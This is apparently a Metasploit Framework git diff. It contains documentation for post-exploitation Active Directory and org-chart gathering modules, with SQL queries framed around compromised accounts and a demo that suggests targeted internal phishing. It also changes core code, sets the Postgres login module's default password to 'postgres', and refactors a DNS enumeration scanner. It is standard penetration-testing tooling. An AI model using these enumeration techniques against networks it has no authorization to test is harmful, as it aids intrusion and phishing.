Imagine you have compromised passwords or accounts for user1, user2, user3 and user4. Show the AD
|
||||
groups which, between them all, you have access to.
|
||||
|
||||
```
|
||||
select DISTINCT g_sAMAccountName from view_mapping where u_sAMAccountName IN ('user1','user2','user3','user4');
|
||||
```
|
||||
|
||||
Retrieve the list of group names common to both 'user1' and 'user2' and display the group RID,
|
||||
group name and group description. This could be useful if you were aware that both these users
|
||||
are in a group that has access to a very specific resource but are in a large number of separate
|
||||
other groups.
|
||||
|
||||
```
|
||||
select v1.g_rid,v1.g_sAMAccountName,v1.g_description FROM view_mapping v1 INNER JOIN view_mapping v2 ON v1.g_rid = v2.g_rid where v1.u_sAMAccountName = 'user1' and v2.u_sAMAccountName = 'user2';
|
||||
```
|
||||
|
||||
Show the name, DNS hostname and OS information for each of the computers in the domain:
|
||||
|
||||
```
|
||||
select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers;
|
||||
```
|
||||
|
||||
Display the same columns as above but only show machines in the 'Domain Controllers' OU (you can't
|
||||
normally search by DN because it isn't a "real" attribute when querying through LDAP, but as it is
|
||||
a normal text field in the database, you can use regular expressions and normal string matching):
|
||||
|
||||
```
|
||||
select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers where c_distinguishedName LIKE '%OU=Domain Controllers%';
|
||||
```
|
||||
|
||||
Show all fields for computers that have the c_ADS_UF_WORKSTATION_TRUST_ACCOUNT set to 1 (which
|
||||
seems to be everything except domain controllers) on my test system:
|
||||
|
||||
```
|
||||
select * from ad_computers where c_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 1;
|
||||
```
|
||||
|
||||
Show all fields for computers whose operating system is Windows XP, Windows 2000 or Windows 2003
|
||||
(note that you need regular expression support in SQLite):
|
||||
|
||||
```
|
||||
select * from ad_computers where c_operatingSystem REGEXP '(XP|200[03])';
|
||||
```
|
||||
|
||||
...and if you don't have regular expression support:
|
||||
|
||||
```
|
||||
select * from ad_computers where c_operatingSystem LIKE '%XP%' OR c_operatingSystem LIKE '%2000%' OR c_operatingSystem LIKE '%2003%';
|
||||
```
|
||||
|
||||
Search for all members of all groups who are (amongst other things) members of any group managed
|
||||
by anyone whose CN starts with 'Unprivileged User' and return their username only:
|
||||
|
||||
```
|
||||
select DISTINCT u_sAMAccountName from view_mapping where g_rid IN (select g_rid from view_mapping where g_managedBy LIKE 'CN=Unprivileged User%');
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Group Policy Objects**
|
||||
|
||||
This cannot be used to gain a complete understanding of effective permissions because it does not
|
||||
analyze group policy objects. For example, a group policy may add inconspicuous groups to
|
||||
privileged groups and privileged groups, such as Domain Admins, may be removed from local
|
||||
administrator groups due to GPP. Therefore, this will give a reliable overview of the effective
|
||||
'static' permissions but cannot be completely relied on for overall effective permissions.
|
||||
|
||||
**Domain Controller interaction**
|
||||
|
||||
The acquisition of domain information does involve repeated queries against the domain controllers.
|
||||
However, all interaction with AD uses native functionality and has not been noted to cause
|
||||
performance problems when tested. This was recently tested on a live engagement on a domain that
|
||||
has just under 11,000 groups and a similar number of users. Admittedly it took about an hour to
|
||||
pull down everything (as opposed to the 1 minute to replicate the LDAP database) but the final
|
||||
database size was 19,255,296 bytes, so perfectly manageable.
|
|
@ -0,0 +1,85 @@
|
|||
This module can be used to aid the generation of an organizational chart based on information
|
||||
contained in Active Directory. The module itself uses ADSI to retrieve key information from AD
|
||||
(manager, title, description etc) fields and then present it in a CSV file in the form:
|
||||
|
||||
```
|
||||
cn,description,title,phone,department,division,e-mail,company,reports_to
|
||||
```
|
||||
|
||||
The reports_to field is the only one which is generated; everything else is taken directly from AD.
|
||||
The 'manager' field contains the DN of the manager assigned to that user, and this module simply
|
||||
uses a regular expression to obtain the CN field of the manager.
|
||||
|
||||
This can then be imported into tools like [Microsoft Visio](https://products.office.com/en-us/visio/flowchart-software)
|
||||
(using the organizational chart wizard) and it will construct a visual org chart from the
|
||||
information there. Although visio supports the ability to generate Org charts if it is on a domain
|
||||
joined machine, but there does not seem to be a way of doing this remotely (e.g. during a
|
||||
red teaming exercise).
|
||||
|
||||
This should not be confused with security groups and AD managed groups; this is purely an
|
||||
internal organizational hierarchy representation but could be very useful for situational awareness
|
||||
or in order to construct a more plausible or targeted internal phishing exercise.
|
||||
|
||||
# Options
|
||||
|
||||
Option | Value
|
||||
-------------------| ---
|
||||
ACTIVE_USERS_ONLY | This will restrict the search for users to those whose accounts are Active. This would have the effect of excluding disabled accounts (e.g. employees who have resigned).
|
||||
FILTER | Any additional LDAP filtering that is required when searching for users.
|
||||
WITH_MANAGERS_ONLY | If this is TRUE, the module will only include users who have a manger set (internally, this is implemented by adding (manager=*) to the ADSI query filter). This could be useful if not everyone has a manager set, but could mean that the top executive is not included either.
|
||||
STORE_LOOT | Store the results in a CSV file in loot. You'll almost certainly want this set to TRUE.
|
||||
|
||||
# Demo
|
||||
|
||||
For the purposes of this contrived example, the module has been configured to generate the CSV
|
||||
reporting information for everyone with 'IT' somewhere in their common name.
|
||||
|
||||
```
|
||||
msf post(make_csv_orgchart) > show options
|
||||
|
||||
Module options (post/windows/gather/make_csv_orgchart):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTIVE_USERS_ONLY true yes Only include active users (i.e. not disabled ones)
|
||||
DOMAIN no The domain to query or distinguished name (e.g. DC=test,DC=com)
|
||||
FILTER cn=*IT* no Additional LDAP filter to use when searching for users
|
||||
MAX_SEARCH 500 yes Maximum values to retrieve, 0 for all.
|
||||
SESSION 2 yes The session to run this module on.
|
||||
STORE_LOOT true yes Store the organisational chart information in CSV format in loot
|
||||
WITH_MANAGERS_ONLY false no Only users with managers
|
||||
|
||||
msf post(make_csv_orgchart) > run
|
||||
|
||||
Users & Managers
|
||||
================
|
||||
|
||||
cn description title phone department division e-mail company reports_to
|
||||
-- ----------- ----- ----- ---------- -------- ------ ------- ----------
|
||||
IT Manager Deputy GOAT IT Director it.manager@goat.stu IT Director
|
||||
IT Director Director of Goat IT it.director@goat.stu
|
||||
IT Leader: Badger Team Leader of Blue Team Operations it.leader.badger@goat.stu IT Manager
|
||||
IT Leader: Otter Team Leader: Offensive Operations it.leader.otter@goat.stu IT Manager
|
||||
Oswold Otter (IT Team) Consultant oswold.otter@goat.stu IT Leader: Otter
|
||||
Bertie Badger (IT Security Team) Default pass is badger123 IT Security Team Deputy bertie.badger@goat.stu IT Leader: Badger
|
||||
|
||||
[*] CSV Organisational Chart Information saved to: /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
The contents of the CSV file are shown below:
|
||||
|
||||
```
|
||||
$ cat /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt
|
||||
cn,description,title,phone,department,division,e-mail,company,reports_to
|
||||
"IT Manager","","Deputy GOAT IT Director","","","","it.manager@goat.stu","","IT Director"
|
||||
"IT Director","","Director of Goat IT","","","","it.director@goat.stu","",""
|
||||
"IT Leader: Badger","","Team Leader of Blue Team Operations","","","","it.leader.badger@goat.stu","","IT Manager"
|
||||
"IT Leader: Otter","","Team Leader: Offensive Operations","","","","it.leader.otter@goat.stu","","IT Manager"
|
||||
"Oswold Otter (IT Team)","","Consultant","","","","oswold.otter@goat.stu","","IT Leader: Otter"
|
||||
"Bertie Badger (IT Security Team)","Default pass is badger123","IT Security Team Deputy","","","","bertie.badger@goat.stu","","IT Leader: Badger"
|
||||
```
|
||||
|
||||
When this was imported into Visio with default options set, it produced the following organisational chart:
|
||||
|
||||
![screenshot_orgchart](https://cloud.githubusercontent.com/assets/12296344/11937572/f5906320-a80c-11e5-8faa-6439872df362.png)
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.11.20"
|
||||
VERSION = "4.11.21"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -400,8 +400,7 @@ class ReadableText
|
|||
'Description'
|
||||
])
|
||||
|
||||
mod.options.sorted.each { |entry|
|
||||
name, opt = entry
|
||||
mod.options.sorted.each do |name, opt|
|
||||
val = mod.datastore[name] || opt.default
|
||||
|
||||
next if (opt.advanced?)
|
||||
|
@ -409,7 +408,7 @@ class ReadableText
|
|||
next if (missing && opt.valid?(val))
|
||||
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
}
|
||||
end
|
||||
|
||||
return tbl.to_s
|
||||
end
|
||||
|
@ -420,24 +419,23 @@ class ReadableText
|
|||
# @param indent [String] the indentation to use.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_advanced_options(mod, indent = '')
|
||||
output = ''
|
||||
pad = indent
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
])
|
||||
|
||||
mod.options.sorted.each { |entry|
|
||||
name, opt = entry
|
||||
mod.options.sorted.each do |name, opt|
|
||||
next unless opt.advanced?
|
||||
val = mod.datastore[name] || opt.default
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
next if (!opt.advanced?)
|
||||
|
||||
val = mod.datastore[name] || opt.default.to_s
|
||||
desc = word_wrap(opt.desc, indent.length + 3)
|
||||
desc = desc.slice(indent.length + 3, desc.length)
|
||||
|
||||
output << pad + "Name : #{name}\n"
|
||||
output << pad + "Current Setting: #{val}\n"
|
||||
output << pad + "Description : #{desc}\n"
|
||||
}
|
||||
|
||||
return output
|
||||
return tbl.to_s
|
||||
end
|
||||
|
||||
# Dumps the evasion options associated with the supplied module.
|
||||
|
@ -446,25 +444,23 @@ class ReadableText
|
|||
# @param indent [String] the indentation to use.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_evasion_options(mod, indent = '')
|
||||
output = ''
|
||||
pad = indent
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
])
|
||||
|
||||
mod.options.sorted.each { |entry|
|
||||
name, opt = entry
|
||||
mod.options.sorted.each do |name, opt|
|
||||
next unless opt.evasion?
|
||||
val = mod.datastore[name] || opt.default
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
next if (!opt.evasion?)
|
||||
|
||||
val = mod.datastore[name] || opt.default || ''
|
||||
|
||||
desc = word_wrap(opt.desc, indent.length + 3)
|
||||
desc = desc.slice(indent.length + 3, desc.length)
|
||||
|
||||
output << pad + "Name : #{name}\n"
|
||||
output << pad + "Current Setting: #{val}\n"
|
||||
output << pad + "Description : #{desc}\n"
|
||||
}
|
||||
|
||||
return output
|
||||
return tbl.to_s
|
||||
end
|
||||
|
||||
# Dumps the references associated with the supplied module.
|
||||
|
|
|
@ -1197,9 +1197,15 @@ class Exploit < Msf::Module
|
|||
# value can be one of the Handler::constants.
|
||||
#
|
||||
def handler(*args)
|
||||
return if not payload_instance
|
||||
return if not handler_enabled?
|
||||
return payload_instance.handler(*args)
|
||||
if payload_instance && handler_enabled?
|
||||
payload_instance.handler(*args)
|
||||
end
|
||||
end
|
||||
|
||||
def interrupt_handler
|
||||
if payload_instance && handler_enabled? && payload_instance.respond_to?(:interrupt_wait_for_session)
|
||||
payload_instance.interrupt_wait_for_session()
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
|
@ -1351,6 +1357,9 @@ class Exploit < Msf::Module
|
|||
|
||||
# Report the failure (and attempt) in the database
|
||||
self.report_failure
|
||||
|
||||
# Interrupt any session waiters in the handler
|
||||
self.interrupt_handler
|
||||
end
|
||||
|
||||
def report_failure
|
||||
|
|
|
@ -32,7 +32,7 @@ module Exploit::Remote::Postgres
|
|||
Opt::RPORT(5432),
|
||||
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
|
||||
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
|
||||
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
|
||||
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
|
||||
|
|
|
@ -163,6 +163,14 @@ module Handler
|
|||
return session
|
||||
end
|
||||
|
||||
#
|
||||
# Interrupts a wait_for_session call by notifying with a nil event
|
||||
#
|
||||
def interrupt_wait_for_session
|
||||
return unless session_waiter_event
|
||||
session_waiter_event.notify(nil)
|
||||
end
|
||||
|
||||
#
|
||||
# Set by the exploit module to configure handler
|
||||
#
|
||||
|
|
|
@ -828,7 +828,7 @@ class Core
|
|||
end
|
||||
end
|
||||
|
||||
args.each { |name|
|
||||
args.each do |name|
|
||||
mod = framework.modules.create(name)
|
||||
|
||||
if (mod == nil)
|
||||
|
@ -836,7 +836,7 @@ class Core
|
|||
else
|
||||
show_options(mod)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -2600,9 +2600,9 @@ class Core
|
|||
# Tab completion for the unset command
|
||||
#
|
||||
# @param str [String] the string currently being typed before tab was hit
|
||||
# @param words [Array<String>] the previously completed words on the command line. words is always
|
||||
# at least 1 when tab completion has reached this stage since the command itself has been completed
|
||||
|
||||
# @param words [Array<String>] the previously completed words on the command
|
||||
# line. `words` is always at least 1 when tab completion has reached this
|
||||
# stage since the command itself has been completed.
|
||||
def cmd_unset_tabs(str, words)
|
||||
datastore = active_module ? active_module.datastore : self.framework.datastore
|
||||
datastore.keys
|
||||
|
|
|
@ -1031,8 +1031,9 @@ module Net # :nodoc:
|
|||
@logger.info "Received #{ans[0].size} bytes from #{ans[1][2]+":"+ans[1][1].to_s}"
|
||||
|
||||
begin
|
||||
response = Net::DNS::Packet.parse(ans[0],ans[1])
|
||||
if response && response.answer && response.answer[0] && response.answer[0].type == "SOA"
|
||||
return unless (response = Net::DNS::Packet.parse(ans[0],ans[1]))
|
||||
return if response.answer.empty?
|
||||
if response.answer[0].type == "SOA"
|
||||
soa += 1
|
||||
if soa >= 2
|
||||
break
|
||||
|
@ -1214,6 +1215,7 @@ module Net # :nodoc:
|
|||
end
|
||||
if block_given?
|
||||
yield [buffer,["",@config[:port],ns.to_s,ns.to_s]]
|
||||
break
|
||||
else
|
||||
return [buffer,["",@config[:port],ns.to_s,ns.to_s]]
|
||||
end
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'net/dns/rr/types'
|
|||
require 'net/dns/rr/classes'
|
||||
|
||||
|
||||
%w[a ns mx cname txt soa ptr aaaa mr srv].each do |file|
|
||||
%w[a ns mx cname txt hinfo soa ptr aaaa mr srv].each do |file|
|
||||
require "net/dns/rr/#{file}"
|
||||
end
|
||||
|
||||
|
|
|
@ -62,7 +62,7 @@ module Net
|
|||
len = data.unpack("@#{offset} C")[0]
|
||||
@cpu = data[offset+1..offset+1+len]
|
||||
offset += len+1
|
||||
len = @data.unpack("@#{offset} C")[0]
|
||||
len = data.unpack("@#{offset} C")[0]
|
||||
@os = data[offset+1..offset+1+len]
|
||||
return offset += len+1
|
||||
end
|
||||
|
|
|
@ -1,483 +1,425 @@
|
|||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require "net/dns/resolver"
|
||||
require 'net/dns/resolver'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DNS Record Scanner and Enumerator ',
|
||||
'Description' => %q{
|
||||
'Name' => 'DNS Record Scanner and Enumerator',
|
||||
'Description' => %q(
|
||||
This module can be used to gather information about a domain from a
|
||||
given DNS server by performing various DNS queries such as zone
|
||||
transfers, reverse lookups, SRV record bruteforcing, and other techniques.
|
||||
|
||||
},
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '1999-0532'],
|
||||
['OSVDB', '492'],
|
||||
]
|
||||
))
|
||||
),
|
||||
'Author' => [
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
||||
'Nixawk'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '1999-0532'],
|
||||
['OSVDB', '492']
|
||||
]))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DOMAIN', [ true, "The target domain name"]),
|
||||
OptBool.new('ENUM_AXFR', [ true, 'Initiate a zone transfer against each NS record', true]),
|
||||
OptBool.new('ENUM_TLD', [ true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),
|
||||
OptBool.new('ENUM_STD', [ true, 'Enumerate standard record types (A,MX,NS,TXT and SOA)', true]),
|
||||
OptBool.new('ENUM_BRT', [ true, 'Brute force subdomains and hostnames via the supplied wordlist', false]),
|
||||
OptBool.new('ENUM_IP6', [ true, 'Brute force hosts with IPv6 AAAA records',false]),
|
||||
OptString.new('DOMAIN', [true, 'The target domain']),
|
||||
OptBool.new('ENUM_AXFR', [true, 'Initiate a zone transfer against each NS record', true]),
|
||||
OptBool.new('ENUM_BRT', [true, 'Brute force subdomains and hostnames via the supplied wordlist', false]),
|
||||
OptBool.new('ENUM_A', [true, 'Enumerate DNS A record', true]),
|
||||
OptBool.new('ENUM_CNAME', [true, 'Enumerate DNS CNAME record', true]),
|
||||
OptBool.new('ENUM_MX', [true, 'Enumerate DNS MX record', true]),
|
||||
OptBool.new('ENUM_NS', [true, 'Enumerate DNS NS record', true]),
|
||||
OptBool.new('ENUM_SOA', [true, 'Enumerate DNS SOA record', true]),
|
||||
OptBool.new('ENUM_TXT', [true, 'Enumerate DNS TXT record', true]),
|
||||
OptBool.new('ENUM_RVL', [ true, 'Reverse lookup a range of IP addresses', false]),
|
||||
OptBool.new('ENUM_SRV', [ true, 'Enumerate the most common SRV records', true]),
|
||||
OptPath.new('WORDLIST', [ false, "Wordlist for domain name bruteforcing", ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]),
|
||||
OptAddress.new('NS', [ false, "Specify the nameserver to use for queries (default is system DNS)" ]),
|
||||
OptBool.new('ENUM_TLD', [true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),
|
||||
OptBool.new('ENUM_SRV', [true, 'Enumerate the most common SRV records', true]),
|
||||
OptBool.new('STOP_WLDCRD', [true, 'Stops bruteforce enumeration if wildcard resolution is detected', false]),
|
||||
OptAddress.new('NS', [false, 'Specify the nameserver to use for queries (default is system DNS)']),
|
||||
OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]),
|
||||
OptBool.new('STOP_WLDCRD', [ true, 'Stops bruteforce enumeration if wildcard resolution is detected', false])
|
||||
OptInt.new('THREADS', [false, 'Threads for ENUM_BRT', 1]),
|
||||
OptPath.new('WORDLIST', [false, 'Wordlist of subdomains', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]),
|
||||
OptBool.new('TCP_DNS', [false, "Run queries over TCP", false]),
|
||||
OptInt.new('TIMEOUT', [false, 'DNS TIMEOUT', 8]),
|
||||
OptInt.new('RETRY', [false, 'Number of times to try to resolve a record if no response is received', 2]),
|
||||
OptInt.new('RETRY_INTERVAL', [false, 'Number of seconds to wait before doing a retry', 2]),
|
||||
OptBool.new('TCP_DNS', [false, 'Run queries over TCP', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def switchdns(target)
|
||||
if not datastore['NS'].nil?
|
||||
print_status("Using DNS Server: #{datastore['NS']}")
|
||||
@res.nameserver=(datastore['NS'])
|
||||
@nsinuse = datastore['NS']
|
||||
else
|
||||
querysoa = @res.query(target, "SOA")
|
||||
if (querysoa)
|
||||
(querysoa.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
|
||||
query1soa = @res.search(rr.mname)
|
||||
if (query1soa and query1soa.answer[0])
|
||||
print_status("Setting DNS Server to #{target} NS: #{query1soa.answer[0].address}")
|
||||
@res.nameserver=(query1soa.answer[0].address)
|
||||
@nsinuse = query1soa.answer[0].address
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def wildcard(target)
|
||||
rendsub = rand(10000).to_s
|
||||
query = @res.query("#{rendsub}.#{target}", "A")
|
||||
if query.answer.length != 0
|
||||
print_status("This domain has wildcards enabled!!")
|
||||
query.answer.each do |rr|
|
||||
print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME
|
||||
end
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def genrcd(target)
|
||||
print_status("Retrieving general DNS records")
|
||||
query = @res.search(target)
|
||||
if (query)
|
||||
query.answer.each do |rr|
|
||||
next unless rr.class == Net::DNS::RR::A
|
||||
print_status("Domain: #{target} IP address: #{rr.address} Record: A ")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.address.to_s},#{target},A")
|
||||
end
|
||||
end
|
||||
query = @res.query(target, "SOA")
|
||||
if (query)
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
|
||||
query1 = @res.search(rr.mname)
|
||||
if (query1)
|
||||
query1.answer.each do |ip|
|
||||
print_status("Start of Authority: #{rr.mname} IP address: #{ip.address} Record: SOA")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{ip.address.to_s},#{rr.mname},SOA")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
query = @res.query(target, "NS")
|
||||
if (query)
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr|
|
||||
query1 = @res.search(rr.nsdname)
|
||||
if (query1)
|
||||
query1.answer.each do |ip|
|
||||
next unless ip.class == Net::DNS::RR::A
|
||||
print_status("Name Server: #{rr.nsdname} IP address: #{ip.address} Record: NS")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{ip.address.to_s},#{rr.nsdname},NS")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
query = @res.query(target, "MX")
|
||||
if (query)
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr|
|
||||
print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.exchange},MX")
|
||||
end
|
||||
end
|
||||
query = @res.query(target, "TXT")
|
||||
if (query)
|
||||
query.answer.each do |rr|
|
||||
print_status(rr.inspect)
|
||||
print_status("Text: #{rr.inspect}")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => rr.inspect)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def tldexpnd(targetdom,nssrv)
|
||||
target = targetdom.scan(/(\S*)[.]\w*\z/).join
|
||||
target.chomp!
|
||||
if not nssrv.nil?
|
||||
@res.nameserver=(nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
i, a = 0, []
|
||||
tlds = [
|
||||
"com", "org", "net", "edu", "mil", "gov", "uk", "af", "al", "dz",
|
||||
"as", "ad", "ao", "ai", "aq", "ag", "ar", "am", "aw", "ac", "au",
|
||||
"at", "az", "bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bm",
|
||||
"bt", "bo", "ba", "bw", "bv", "br", "io", "bn", "bg", "bf", "bi",
|
||||
"kh", "cm", "ca", "cv", "ky", "cf", "td", "cl", "cn", "cx", "cc",
|
||||
"co", "km", "cd", "cg", "ck", "cr", "ci", "hr", "cu", "cy", "cz",
|
||||
"dk", "dj", "dm", "do", "tp", "ec", "eg", "sv", "gq", "er", "ee",
|
||||
"et", "fk", "fo", "fj", "fi", "fr", "gf", "pf", "tf", "ga", "gm",
|
||||
"ge", "de", "gh", "gi", "gr", "gl", "gd", "gp", "gu", "gt", "gg",
|
||||
"gn", "gw", "gy", "ht", "hm", "va", "hn", "hk", "hu", "is", "in",
|
||||
"id", "ir", "iq", "ie", "im", "il", "it", "jm", "jp", "je", "jo",
|
||||
"kz", "ke", "ki", "kp", "kr", "kw", "kg", "la", "lv", "lb", "ls",
|
||||
"lr", "ly", "li", "lt", "lu", "mo", "mk", "mg", "mw", "my", "mv",
|
||||
"ml", "mt", "mh", "mq", "mr", "mu", "yt", "mx", "fm", "md", "mc",
|
||||
"mn", "ms", "ma", "mz", "mm", "na", "nr", "np", "nl", "an", "nc",
|
||||
"nz", "ni", "ne", "ng", "nu", "nf", "mp", "no", "om", "pk", "pw",
|
||||
"pa", "pg", "py", "pe", "ph", "pn", "pl", "pt", "pr", "qa", "re",
|
||||
"ro", "ru", "rw", "kn", "lc", "vc", "ws", "sm", "st", "sa", "sn",
|
||||
"sc", "sl", "sg", "sk", "si", "sb", "so", "za", "gz", "es", "lk",
|
||||
"sh", "pm", "sd", "sr", "sj", "sz", "se", "ch", "sy", "tw", "tj",
|
||||
"tz", "th", "tg", "tk", "to", "tt", "tn", "tr", "tm", "tc", "tv",
|
||||
"ug", "ua", "ae", "gb", "us", "um", "uy", "uz", "vu", "ve", "vn",
|
||||
"vg", "vi", "wf", "eh", "ye", "yu", "za", "zr", "zm", "zw", "int",
|
||||
"gs", "info", "biz", "su", "name", "coop", "aero" ]
|
||||
print_status("Performing Top Level Domain expansion using #{tlds.size} TLDs")
|
||||
|
||||
tlds.each do |tld|
|
||||
query1 = @res.search("#{target}.#{tld}")
|
||||
if (query1)
|
||||
query1.answer.each do |rr|
|
||||
print_status("Domain: #{target}.#{tld} Name: #{rr.name} IP address: #{rr.address} Record: A ") if rr.class == Net::DNS::RR::A
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.address.to_s},#{target}.#{tld},A") if rr.class == Net::DNS::RR::A
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def dnsbrute(target, wordlist, nssrv)
|
||||
print_status("Running bruteforce against domain #{target}")
|
||||
arr = []
|
||||
i, a = 0, []
|
||||
::File.open(wordlist, "rb").each_line do |line|
|
||||
if not nssrv.nil?
|
||||
@res.nameserver=(nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
query1 = @res.search("#{line.chomp}.#{target}")
|
||||
if (query1)
|
||||
query1.answer.each do |rr|
|
||||
if rr.class == Net::DNS::RR::A
|
||||
print_status("Hostname: #{line.chomp}.#{target} IP address: #{rr.address.to_s}")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.address.to_s},#{line.chomp}.#{target},A")
|
||||
next unless rr.class == Net::DNS::RR::CNAME
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def bruteipv6(target, wordlist, nssrv)
|
||||
print_status("Bruteforcing IPv6 addresses against domain #{target}")
|
||||
arr = []
|
||||
i, a = 0, []
|
||||
arr = IO.readlines(wordlist)
|
||||
if not nssrv.nil?
|
||||
@res.nameserver=(nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
arr.each do |line|
|
||||
query1 = @res.search("#{line.chomp}.#{target}", "AAAA")
|
||||
if (query1)
|
||||
query1.answer.each do |rr|
|
||||
if rr.class == Net::DNS::RR::AAAA
|
||||
print_status("Hostname: #{line.chomp}.#{target} IPv6 Address: #{rr.address.to_s}")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{rr.address.to_s},#{line.chomp}.#{target},AAAA")
|
||||
next unless rr.class == Net::DNS::RR::CNAME
|
||||
end
|
||||
end
